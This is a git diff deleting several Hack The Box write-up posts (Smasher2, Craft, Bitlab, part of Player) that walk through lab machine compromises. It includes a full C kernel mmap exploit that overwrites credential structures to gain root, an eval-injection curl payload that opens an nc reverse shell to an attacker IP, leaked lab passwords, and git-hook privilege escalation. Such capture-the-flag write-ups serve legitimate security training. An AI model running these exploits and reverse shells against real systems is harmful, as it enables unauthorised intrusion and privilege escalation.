groups=1000(dzonerzy),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare) -``` - -## Root privesc - -After searching for a while I found a custom kernel module here: - -- `./modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko` - -This is clearly the target since the box creator's name is the module info: - -``` -$ modinfo ./modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko -filename: /lib/./modules/4.15.0-45-generic/kernel/drivers/hid/dhid.ko -version: 1.0 -description: LKM for dzonerzy dhid devices -author: DZONERZY -license: GPL -srcversion: 974D0512693168483CADFE9 -depends: -retpoline: Y -name: dhid -vermagic: 4.15.0-45-generic SMP mod_unload -``` - -We can see that the module has already been loaded: - -``` -dzonerzy@smasher2:/lib$ lsmod | grep dhid -dhid 16384 0 -dzonerzy@smasher2:/lib$ dmesg | grep dhid -[ 10.110988] dhid: loading out-of-tree module taints kernel. -[ 10.111020] dhid: module verification failed: signature and/or required key missing - tainting kernel - -dzonerzy@smasher2:/lib$ ls -l /dev/dhid -crwxrwxrwx 1 root root 243, 0 Jun 6 01:09 /dev/dhid -``` - -I am not very familiar with the way Linux kernel modules work so I had to google a bit. I noticed that there is `dev_read` function but no `dev_write` function, so it's unlikely we have to do some kind of buffer overflow. - -![](/assets/images/htb-writeup-smasher2/kernel1.png) - - -The `dev_read` function seems to return only a simple string, it doesn't do anything else. - -![](/assets/images/htb-writeup-smasher2/kernel2.png) - -To test this, I used the program below that just opens a file description on the `dhid` device and read from it. - -```c -#include -#include -#include -#include -#include -#include - -#define BUFFER_LENGTH 256 // The buffer length (crude but fine) -static char receive[BUFFER_LENGTH]; // The receive buffer from the LKM - -int main() { - int ret, fd; - fd = open("/dev/dhid", O_RDWR); // Open the device with read/write access - if (fd < 0){ - perror("Failed to open the device..."); - return errno; - } - - ret = read(fd, receive, BUFFER_LENGTH); // Read the response from the LKM - if (ret < 0){ - perror("Failed to read the message from the device."); - return errno; - } - - printf("The received message is: [%s]\n", receive); - printf("End of the program\n"); - return 0; -} -``` - -As expected, it returns the string and simply exits: - -``` -dzonerzy@smasher2:/dev/shm$ gcc -o test test.c -dzonerzy@smasher2:/dev/shm$ ./test -The received message is: [This is the right way, please exploit this shit!] -End of the program -``` - -There's an interesting paper from MWR Lab about [Kernel Driver mmap Handler Exploitation](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-mmap-exploitation-whitepaper-2017-09-18.pdf) that apply to the custom kernel module here. - -The gist of it is if the mmap handler in the module doesn't perform proper validation of parameters then we can map all the physical memory of the system from a program then read/write kernel memory from user space. This allows an attacker to read sensitive data and/or change credential structures. In this case, I want to change the privileges of the `dzonerzy` user to become root. - -The decompiled code for `dev_mmap` right next to the whitepaper code example: - -![](/assets/images/htb-writeup-smasher2/kernel3.png) - -The whitepaper contains an exploit code that search the memory space for credential structures then modify it to give root access. - -```c -#include -#include -#include -#include -#include -#include -#include -#include - -int main(int argc, char * const * argv) -{ - printf("[+] PID: %d\n", getpid()); - int fd = open("/dev/dhid", O_RDWR); - if (fd < 0) - { - printf("[-] Open failed!\n"); - return -1; - } - printf("[+] Open OK fd: %d\n", fd); - unsigned long size = 0xf0000000; - unsigned long mmapStart = 0x42424000; - unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0); - if (addr == MAP_FAILED) - { - perror("Failed to mmap: "); - close(fd); - return -1; - } - printf("[+] mmap OK addr: %lx\n", addr); - - unsigned int uid = getuid(); - printf("[+] UID: %d\n", uid); - unsigned int credIt = 0; - unsigned int credNum = 0; - while (((unsigned long)addr) < (mmapStart + size - 0x40)) - { - credIt = 0; - if ( - addr[credIt++] == uid && - addr[credIt++] == uid && - addr[credIt++] == uid && - addr[credIt++] == uid && - addr[credIt++] == uid && - addr[credIt++] == uid && - addr[credIt++] == uid && - addr[credIt++] == uid - ) - { - credNum++; - printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr, credNum); - credIt = 0; - addr[credIt++] = 0; - addr[credIt++] = 0; - addr[credIt++] = 0; - addr[credIt++] = 0; - addr[credIt++] = 0; - addr[credIt++] = 0; - addr[credIt++] = 0; - addr[credIt++] = 0; - if (getuid() == 0) - { - puts("[+] GOT ROOT!"); - credIt += 1; //Skip 4 bytes, to get capabilities - addr[credIt++] = 0xffffffff; - addr[credIt++] = 0xffffffff; - addr[credIt++] = 0xffffffff; - addr[credIt++] = 0xffffffff; - addr[credIt++] = 0xffffffff; - addr[credIt++] = 0xffffffff; - addr[credIt++] = 0xffffffff; - addr[credIt++] = 0xffffffff; - addr[credIt++] = 0xffffffff; - addr[credIt++] = 0xffffffff; - execl("/bin/sh", "-", (char *)NULL); - puts("[-] Execl failed..."); - break; - } - else - { - credIt = 0; - addr[credIt++] = uid; - addr[credIt++] = uid; - addr[credIt++] = uid; - addr[credIt++] = uid; - addr[credIt++] = uid; - addr[credIt++] = uid; - addr[credIt++] = uid; - } - } - addr++; - } - puts("[+] Scanning loop END"); - fflush(stdout); - - int stop = getchar(); - return 0; -} -``` - -After compiling and running the code, we get root access: - -``` -dzonerzy@smasher2:/dev/shm$ gcc -w -o exploit exploit.c -dzonerzy@smasher2:/dev/shm$ ./exploit -[+] PID: 15475 -[+] Open OK fd: 3 -[+] mmap OK addr: 42424000 -[+] UID: 1000 -[+] Found cred structure! ptr: 0x763600c4, credNum: 1 -[+] Found cred structure! ptr: 0x76360544, credNum: 2 -[+] Found cred structure! ptr: 0x76360cc4, credNum: 3 -[+] Found cred structure! ptr: 0x76361444, credNum: 4 -[+] Found cred structure! ptr: 0x76361b04, credNum: 5 -[+] Found cred structure! ptr: 0x76361bc4, credNum: 6 -[+] Found cred structure! ptr: 0x76361e04, credNum: 7 -[+] Found cred structure! ptr: 0x76c4af04, credNum: 8 -[+] GOT ROOT! -# id -uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare),1000(dzonerzy) - -# cat /root/root.txt -7791e0... -``` \ No newline at end of file diff --git a/_posts/2020-01-04-htb-writeup-craft.md b/_posts/2020-01-04-htb-writeup-craft.md deleted file mode 100644 index 294e5c1c00..0000000000 --- a/_posts/2020-01-04-htb-writeup-craft.md +++ /dev/null @@ -1,380 +0,0 @@ ---- -layout: single -title: Craft - Hack The Box -excerpt: "Craft was a fun Silicon Valley themed box where we have to exploit a vulnerable REST API eval function call to get RCE. After getting a shell on the app container, we escalate to a user shell on the host OS by finding credentials and SSH private keys. To gain root access, we have to generate an OTP token with the vault software installed on the machine." -date: 2020-01-04 -classes: wide -header: - teaser: /assets/images/htb-writeup-craft/craft_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - gogs - - api - - git - - vault - - eval - - python ---- - -![](/assets/images/htb-writeup-craft/craft_logo.png) - -Craft was a fun Silicon Valley themed box where we have to exploit a vulnerable REST API eval function call to get RCE. After getting a shell on the app container, we escalate to a user shell on the host OS by finding credentials and SSH private keys. To gain root access, we have to generate an OTP token with the vault software installed on the machine. - -## Summary - -- Find the Gogs service, clone the app repo and identify the eval vulnerability in the source code -- Find a valid set of credentials in an old commit and use those to get a valid token for the API -- Exploit the eval vulnerability to get RCE and land a shell on the container -- Find Gilfoyle's Gogs password in the MySQL DB then find his SSH private key in the craft-infra repo -- Log in as gilfoyle on the host, find that vault is installed then generate an OTP to gain root access - -## Portscan - -I note that port 6022 is running a different SSH service: `SSH-2.0-Go` - -``` -# nmap -sC -sV -p- 10.10.10.110 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-14 09:02 EDT -Nmap scan report for craft.htb (10.10.10.110) -Host is up (0.018s latency). - -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0) -| ssh-hostkey: -| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA) -| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA) -|_ 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519) -443/tcp open ssl/http nginx 1.15.8 -|_http-server-header: nginx/1.15.8 -|_http-title: About -| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US -| Not valid before: 2019-02-06T02:25:47 -|_Not valid after: 2020-06-20T02:25:47 -|_ssl-date: TLS randomness does not represent time -| tls-alpn: -|_ http/1.1 -| tls-nextprotoneg: -|_ http/1.1 -6022/tcp open ssh (protocol 2.0) -| fingerprint-strings: -| NULL: -|_ SSH-2.0-Go -| ssh-hostkey: -|_ 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA) - -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -## Website enumeration - -The main webpage shows that there is a REST API available so there's a good chance that this box will be about exploiting it. - -![](/assets/images/htb-writeup-craft/craft.png) - -- The link at the top right points to the API: `https://api.craft.htb/api/`. I'll add that domain to my local `/etc/hosts`. -- The icon next to the API link goes to the Gogs servers, which is a self-hosted service. Again, I will add another domain entry to my local host file: `gogs.craft.htb`. - -## Gogs - -Before I start messing with the API, I'll check the source code from the git repo for any leftover credentials, notes/comments and other pieces of information that could help me find a bug in the application. - -![](/assets/images/htb-writeup-craft/gogs.png) - -The first thing I check is the list of registered users, the organizations and the repos available: - -![](/assets/images/htb-writeup-craft/gogs_users.png) - -![](/assets/images/htb-writeup-craft/gogs_repos.png) - -I tried fetching the repo with SSH but I got a permission denied, but I was able to get it with HTTPS: - -``` -# git clone ssh://git@gogs.craft.htb:6022/Craft/craft-api.git -Cloning into 'craft-api'... -The authenticity of host '[gogs.craft.htb]:6022 ([10.10.10.110]:6022)' can't be established. -RSA key fingerprint is SHA256:JL2e7zVkLrtwos3PHziXPRckBZRJ7BKPbuMuLpDn23s. -Are you sure you want to continue connecting (yes/no)? yes -Warning: Permanently added '[gogs.craft.htb]:6022' (RSA) to the list of known hosts. -git@gogs.craft.htb: Permission denied (publickey). -fatal: Could not read from remote repository. - -Please make sure you have the correct access rights -and the repository exists. - -# env GIT_SSL_NO_VERIFY=true git clone https://gogs.craft.htb/Craft/craft-api.git -Cloning into 'craft-api'... -remote: Enumerating objects: 45, done. -remote: Counting objects: 100% (45/45), done. -remote: Compressing objects: 100% (41/41), done. -remote: Total 45 (delta 10), reused 0 (delta 0) -Unpacking objects: 100% (45/45), done. -``` - -I then checked the commit logs to see what kind of changes were made. - -``` -# git log -commit e55e12d800248c6bddf731462d0150f6e53c0802 (HEAD -> master, origin/master, origin/HEAD) -Author: ebachman -Date: Fri Feb 8 11:40:56 2019 -0500 - - Add db connection test script - -commit a2d28ed1554adddfcfb845879bfea09f976ab7c1 -Author: dinesh -Date: Wed Feb 6 23:18:51 2019 -0500 - - Cleanup test - -commit 10e3ba4f0a09c778d7cec673f28d410b73455a86 -Author: dinesh -Date: Wed Feb 6 23:12:07 2019 -0500 - - add test script - -commit c414b160578943acfe2e158e89409623f41da4c6 -Author: dinesh -Date: Wed Feb 6 22:01:25 2019 -0500 - - Add fix for bogus ABV values - -commit 4fd8dbf8422cbf28f8ec96af54f16891dfdd7b95 -Author: ebachman -Date: Wed Feb 6 21:46:30 2019 -0500 - - Add authentication to brew modify endpoints - -commit 90fb3e8aa0ca9683bcc1ece8fc5bb15cb833a6ff -Author: ebachman -Date: Wed Feb 6 21:41:42 2019 -0500 - - Initialize git project -``` - -A fix was put in place by Dinesh to prevent ABV values from being submitted. When I check the list of issues on the Gogs site, I find one opened for that specific bug: - -![](/assets/images/htb-writeup-craft/issues.png) - -A couple of things pop out right away: - - There's a JWT token in here (maybe there's no expiry set) - - There's a link to commit `c414b16057` which contains the fix - - Gilfoyle comments that this is a bad patch, there's probably a vulnerability in it - -The token is not valid anymore: - -`curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k https://api.craft.htb/api/auth/check` - -`{"message": "Invalid token or no token found."}` - -I use [https://jwt.io/](https://jwt.io/) to decode the token and see that the expiry is set to epoch time `1549385242` which is `Tuesday, February 5, 2019 4:47:22 PM` in human readable format. - -![](/assets/images/htb-writeup-craft/jwt.png) - -I'll try to bruteforce the shared secret on the token so I can forge my own and change the expiry: - -``` -# john -w=/usr/share/wordlists/rockyou.txt token -Using default input encoding: UTF-8 -Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 AVX 4x]) -Will run 4 OpenMP threads -Press 'q' or Ctrl-C to abort, almost any other key for status -0g 0:00:00:05 DONE (2019-07-14 21:07) 0g/s 2651Kp/s 2651Kc/s 2651KC/s !SkicA!..*7¡Vamos! -Session completed -``` - -Unfortunately the shared secret is not found in rockyou.txt, so it's probably not meant to be cracked to solve this box. - -Next, I check the `brew.py` code and quickly spot the vulnerability: - -![](/assets/images/htb-writeup-craft/eval.png) - -Using eval with user controlled input is extremely dangerous and in this case I can use this to my advantage to gain remote code execution. But I need to first find a way to obtain a valid token so I can make API calls. - -I look around the commits for other files and find that credentials were hardcoded in the `test.py`: - -![](/assets/images/htb-writeup-craft/tests1.png) - -![](/assets/images/htb-writeup-craft/tests2.png) - -I got some credentials now: `dinesh / 4aUh0A8PbVJxgd` - -I find the API documentation on the `https://api.craft.htb/api/` page: - -![](/assets/images/htb-writeup-craft/apidoc.png) - -To get a token, I'll do a GET to `/auth/login` and pass the credentials with HTTP basic auth: - -`curl -H "Content-Type: application/json" --user dinesh:4aUh0A8PbVJxgd -k https://api.craft.htb/api/auth/login -{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTYzMTUzODU2fQ.hs-9F_c_KXIHEQg4tmgaRWacmEC402tsgtolQPZB3ik"}` - -The token is only valid for a short period of time so I'll use jq to parse the output and assign it to a variable and I use for my other curl requests: - -`token=$(curl -s -H "Content-Type: application/json" --user dinesh:4aUh0A8PbVJxgd -k https://api.craft.htb/api/auth/login | jq -r .[]) -echo $token -eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTYzMTU0MTAzfQ.JPg8sJ9enjgL86jy8DJrugK7xaF--wegrVdKXZLono0` - -I can now do POST to add new brews: - -`curl -k -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Craft-API-Token: $token" https://api.craft.htb/api/brew/ -XPOST -d '{"id": 666, "brewer": "Snowscan", "name": "Snowscan", "style": "IPA", "abv": "0.95"}' -null` - -When doing a GET, I need to specify the page so I can confirm it's been added: - -`curl -k "https://api.craft.htb/api/brew/?per_page=50&page=47" - {"id": 2351, "brewer": "Snowscan", "name": "Snowscan", "style": "IPA", "abv": "0.950"}, {"id": 2352, "brewer": "Snowscan", "name": "Snowscan", "style": "IPA", "abv": "0.400"}], "page": 47, "pages": 47, "per_page": 50, "total": 2341}` - -Ok, now it's time to exploit that eval to gain RCE. Because I don't see the results of the eval, I'll first test that the eval works by doing a `sleep` for 5 seconds: - -`curl -k -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Craft-API-Token: $token" https://api.craft.htb/api/brew/ -XPOST -d '{"id": 1000, "brewer": "Snowscan", "name": "Snowscan", "style": "IPA", "abv": "__import__(\"time\").sleep(5)"}'` - -Then after I confirmed that the eval works, I'll use `subprocess` to spawn a reverse shell: - -`curl -k -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Craft-API-Token: $token" https://api.craft.htb/api/brew/ -XPOST -d '{"id": 1000, "brewer": "Snowscan", "name": "Snowscan", "style": "IPA", "abv": "__import__(\"subprocess\").check_output(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f\", shell=True) or 1"}'` - -``` -# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.2] from (UNKNOWN) [10.10.10.110] 43065 -/bin/sh: can't access tty; job control turned off -/opt/app # id -uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)... -/opt/app # -``` - -Turns out this is just a container and I need to keep looking to get a shell on the host OS. - -## Finding more credentials in MySQL - -The `settings.py` file contains the MySQL credentials and the shared api key. - -``` -/opt/app/craft_api # cat settings.py -# Flask settings -FLASK_SERVER_NAME = 'api.craft.htb' -FLASK_DEBUG = False # Do not use debug mode in production - -# Flask-Restplus settings -RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list' -RESTPLUS_VALIDATE = True -RESTPLUS_MASK_SWAGGER = False -RESTPLUS_ERROR_404_HELP = False -CRAFT_API_SECRET = 'hz66OCkDtv8G6D' - -# database -MYSQL_DATABASE_USER = 'craft' -MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O' -MYSQL_DATABASE_DB = 'craft' -MYSQL_DATABASE_HOST = 'db' -SQLALCHEMY_TRACK_MODIFICATIONS = False -``` - -The MySQL client is not installed on this machine but I can use the pymysql Python module to query the database. - -``` -/opt/app # python -c 'import pty;pty.spawn("/bin/sh")' -/opt/app # python -Python 3.6.8 (default, Feb 6 2019, 01:56:13) -[GCC 8.2.0] on linux -Type "help", "copyright", "credits" or "license" for more information. ->>> import pymysql ->>> connection = pymysql.connect(host='172.20.0.4', user='craft', password='qLGockJ6G2J75O', - db='craft', cursorclass=pymysql.cursors.DictCursor) ->>> cursor = connection.cursor() ->>> cursor.execute("show tables") -2 ->>> cursor.fetchall() -[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}] ->>> cursor.execute("select * from user") -3 ->>> cursor.fetchall() -[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, - {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, - {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}] -``` - -So I found a few more credentials: - - `ebachman / llJ77D8QFkLPQB` - - `gilfoyle / ZEU3N8WNM2rh4T` - -I can log in to the Gogs website with Gilfoyle's credentials: - -![](/assets/images/htb-writeup-craft/gogs_gilfoyle.png) - -Gilfoyle has a private repo: `craft-infra` and I find Gilfoyle's SSH private and public keys in the `.ssh` directory: - -![](/assets/images/htb-writeup-craft/gogs_ssh.png) - -I can now log in as user `gilfoyle` with the SSH key (the SSH key password is ZEU3N8WNM2rh4T): - -``` -# ssh -i id_rsa gilfoyle@10.10.10.110 - - - . * .. . * * -* * @()Ooc()* o . - (Q@*0CG*O() ___ - |\_________/|/ _ \ - | | | | | / | | - | | | | | | | | - | | | | | | | | - | | | | | | | | - | | | | | | | | - | | | | | \_| | - | | | | |\___/ - |\_|__|__|_/| - \_________/ - - - -Enter passphrase for key 'id_rsa': -Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 - -The programs included with the Debian GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -gilfoyle@craft:~$ ls -user.txt -gilfoyle@craft:~$ cat user.txt -bbf4b0ca... -``` - -## Privesc - -I saw from the `craft-infra` repo that Vault is installed and I see that Gilfoyle has a vault token in its home directory: - -``` -gilfoyle@craft:~$ ls -la -total 36 -drwx------ 4 gilfoyle gilfoyle 4096 Feb 9 22:46 . -drwxr-xr-x 3 root root 4096 Feb 9 10:46 .. --rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 22:41 .bashrc -drwx------ 3 gilfoyle gilfoyle 4096 Feb 9 03:14 .config --rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 21:52 .profile -drwx------ 2 gilfoyle gilfoyle 4096 Feb 9 22:41 .ssh --r-------- 1 gilfoyle gilfoyle 33 Feb 9 22:46 user.txt --rw------- 1 gilfoyle gilfoyle 36 Feb 9 00:26 .vault-token --rw------- 1 gilfoyle gilfoyle 2546 Feb 9 22:38 .viminfo - -gilfoyle@craft:~$ cat .vault-token -f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9 -``` - -The `secrets.sh` config in the repo contains the following: - -``` -vault write ssh/roles/root_otp \ - key_type=otp \ - default_user=root \ - cidr_list=0.0.0.0/0 -``` - -I can get an OTP user token for root and log in using `vault ssh -mode=otp -role=root_otp root@10.10.10.110`: - -![](/assets/images/htb-writeup-craft/root.png) diff --git a/_posts/2020-01-11-htb-writeup-bitlab.md b/_posts/2020-01-11-htb-writeup-bitlab.md deleted file mode 100644 index e1f02dd10f..0000000000 --- a/_posts/2020-01-11-htb-writeup-bitlab.md +++ /dev/null @@ -1,177 +0,0 @@ ---- -layout: single -title: Bitlab - Hack The Box -excerpt: "I solved this gitlab box the unintended way by exploiting the `git pull` command running as root and using git post-merge hooks to execute code as root. I was able to get a root shell using this method but I still had to get an initial shell by finding the gitlab credentials in some obfuscated javascript and modifying PHP code in the repo to get RCE." -date: 2020-01-11 -classes: wide -header: - teaser: /assets/images/htb-writeup-bitlab/bitlab_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - git - - gitlab - - javascript - - obfuscated - - unintended ---- - -![](/assets/images/htb-writeup-bitlab/bitlab_logo.png) - -I solved this gitlab box the unintended way by exploiting the `git pull` command running as root and using git post-merge hooks to execute code as root. I was able to get a root shell using this method but I still had to get an initial shell by finding the gitlab credentials in some obfuscated javascript and modifying PHP code in the repo to get RCE. - -## Summary - -- Find javascript obfuscated credentials in bookmarks.html -- Use creds to gain access to the profile repo and modify it to get PHP RCE -- Get root access using the unintended method of git post-merge hooks - -## Portscan - -The portscan shows SSH and HTTP ports open along with entries from `robots.txt` indicating this is a Gitlab service. I'll check out a couple of the URIs mentioned below in the next section. - -``` -root@kali:~/htb/bitlab# nmap -sC -sV -T4 10.10.10.114 -Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-08 09:49 EDT -Nmap scan report for bitlab.htb (10.10.10.114) -Host is up (0.022s latency). -Not shown: 998 filtered ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA) -| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA) -|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519) -80/tcp open http nginx -| http-robots.txt: 55 disallowed entries (15 shown) -| / /autocomplete/users /search /api /admin /profile -| /dashboard /projects/new /groups/new /groups/*/edit /users /help -|_/s/ /snippets/new /snippets/*/edit -| http-title: Sign in \xC2\xB7 GitLab -|_Requested resource was http://bitlab.htb/users/sign_in -|_http-trane-info: Problem with XML parsing of /evox/about -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel - -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 13.33 seconds -``` - -## Gitlab enumeration - -I already knew that the box was going to contain a Gitlab service based on the box name and the logo. The box was originally submitted as Gitlab but was renamed to Bitlab before launch. - -![](/assets/images/htb-writeup-bitlab/Screenshot_1.png) - -I clicked the Explore link at the bottom of the page to look for repos but I didn't see any repositories that are publicly accessible. - -![](/assets/images/htb-writeup-bitlab/Screenshot_2.png) - -![](/assets/images/htb-writeup-bitlab/Screenshot_3.png) - -I checked a few links from the `robots.txt` file and found a profile page for Clave: - -![](/assets/images/htb-writeup-bitlab/Screenshot_11.png) - -That's not a default page in Gitlab so I'll keep that in mind for later. - -## Hardcoded Gitlab credentials - -I initially skipped the Help section but when I went back and clicked on the link, I got the following page: - -![](/assets/images/htb-writeup-bitlab/Screenshot_4.png) - -![](/assets/images/htb-writeup-bitlab/Screenshot_5.png) - -The `Gitlab Login` link doesn't link to an HTTP URL but contains obfuscated javascript: - -```javascript -javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })() -``` - -I executed the Javascript in NodeJS and found credentials for Clave: - -![](/assets/images/htb-writeup-bitlab/Screenshot_8.png) - -Credentials: `clave` / `11des0081x` - -Also, if you copy/paste the entire Javascript code snippet in the Firefox dev console when you're on the Gitlab login page it'll auto populate both username and password field. - -I can now log in to the Gitlab portal and I see two repositories that I have access to: - -![](/assets/images/htb-writeup-bitlab/Screenshot_10.png) - -I have read/write access to the `Profile` repo but only read access to `Deployer`. - -As per Gitlab's documentation, these are the permissions available: -> Guest - No access to code -> Reporter - Read the repository -> Developer - Read/Write to the repository -> Maintainer - Read/Write to the repository + partial administrative capabilities -> Owner - Read/Write to the repository + full administrative capabilities - -## Getting RCE through the Profile page - -The Profile repository contains the webpage for the Profile page I found earlier. I see that it's running PHP so if I can modify this page I should be able to gain remote code execution by adding a reverse shell on the page. - -![](/assets/images/htb-writeup-bitlab/Screenshot_12.png) - -![](/assets/images/htb-writeup-bitlab/Screenshot_13.png) - -The Deployer repo code is a simple PHP script that expects a specific JSON message then does a `git pull`. I assume this'll be used to deploy the Profile page when I commit changes to the repo. - -![](/assets/images/htb-writeup-bitlab/Screenshot_14.png) - -The repo is deployed in the root of the directory and I can access it with `/deployer`: - -![](/assets/images/htb-writeup-bitlab/Screenshot_15.png) - -I'll add a PHP reverse shell in the Profile `index.php` page that triggers when I have a `shell` parameter present. Then I submit the merge request and merge it after. - -![](/assets/images/htb-writeup-bitlab/Screenshot_16.png) - -![](/assets/images/htb-writeup-bitlab/Screenshot_17.png) - -![](/assets/images/htb-writeup-bitlab/Screenshot_18.png) - -I'll craft the proper POST request with the Repeater function in Burp Suite. The JSON message has to match the exact format from the code I found in the repo. - -![](/assets/images/htb-writeup-bitlab/Screenshot_19.png) - -Now that the profile page has been updated, I can trigger the reverse shell by sending a request with the `shell` parameter: - -![](/assets/images/htb-writeup-bitlab/Screenshot_20.png) - -## Unintended privilege escalation to root - -The `www-data` user can execute `git pull` as root: - -``` -$ sudo -l -Matching Defaults entries for www-data on bitlab: - env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin - -User www-data may run the following commands on bitlab: - (root) NOPASSWD: /usr/bin/git pull -$ -``` - -Git has hooks that can be used to execute code after commit, push, merge, etc. I'll use that to get remote execution as root through the `git pull` command. The [https://www.git-scm.com/docs/githooks#_post_merge](https://www.git-scm.com/docs/githooks#_post_merge) documentation says: - -> This hook is invoked by git-merge[1], which happens when a git pull is done on a local repository. - -First, I'll create two local repos: `foo` will be merged into the `bar` repo. I'll add a reverse shell in the `post-merge` hook of the `bar` repo where `bar` will be merged into. - -![](/assets/images/htb-writeup-bitlab/Screenshot_21.png) - -Then I'll do an initial commit in the `foo` repo and set up `bar` to pull from the `foo` repo: - -![](/assets/images/htb-writeup-bitlab/Screenshot_22.png) - -And finally I'll do a new commit in `foo` so I can initiate a merge from `foo` and trigger the reverse shell: - -![](/assets/images/htb-writeup-bitlab/Screenshot_23.png) - -![](/assets/images/htb-writeup-bitlab/Screenshot_24.png) \ No newline at end of file diff --git a/_posts/2020-01-18-htb-writeup-player.md b/_posts/2020-01-18-htb-writeup-player.md deleted file mode 100644 index 00df3374ac..0000000000 --- a/_posts/2020-01-18-htb-writeup-player.md +++ /dev/null @@ -1,647 +0,0 @@ ---- -layout: single -title: Player - Hack The Box -excerpt: "Player was a tough one. Getting the initial shell on Player took me quite some time. Every time I got new credentials I thought I would be able to log in but there was always another step after. The trickiest part of the box for me was finding the .php~ extension to read the source code of the page. I had the hint from the chat application but I couldn't connect the dots." -date: 2020-01-18 -classes: wide -header: - teaser: /assets/images/htb-writeup-player/player_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - php - - jwt - - vhosts - - codiad - - ffmpeg - - lshell - - openssh xauth - - pspy - - cronjob - - php deserialization ---- - -![](/assets/images/htb-writeup-player/player_logo.png) - -Player was a tough one. Getting the initial shell on Player took me quite some time. Every time I got new credentials I thought I would be able to log in but there was always another step after. The trickiest part of the box for me was finding the .php~ extension to read the source code of the page. I had the hint from the chat application but I couldn't connect the dots. - -## Summary - -- Scan for vhosts to find the dev, chat and staging websites. -- Find a hint about exposed source code by looking at the chat website. -- On the main webpage, perform directory bruteforcing and find the launcher page. -- The source code for PHP file used in the javascript AJAX call of the launcher page can be retrieved by appending a tilde to the file extension. -- The source code contains the JWT shared secret and we can now forge our own token to log in to the application. -- The media conversion web page uses ffmpeg in the backend which we can use to perform an LFI and retrieve the content of a service configuration file. -- The file contains the telegen user credentials which we can use to log into a lshell restricted shell. -- We can break out of the restricted shell by using enumerating the SSH configuration file through ffmpeg and seeing that xauth is enabled. The xauth exploit allows us to read files on the system and we find another set of credentials in some of the staging PHP code. -- The credentials for user peter allow us to log into the codiad application and create a 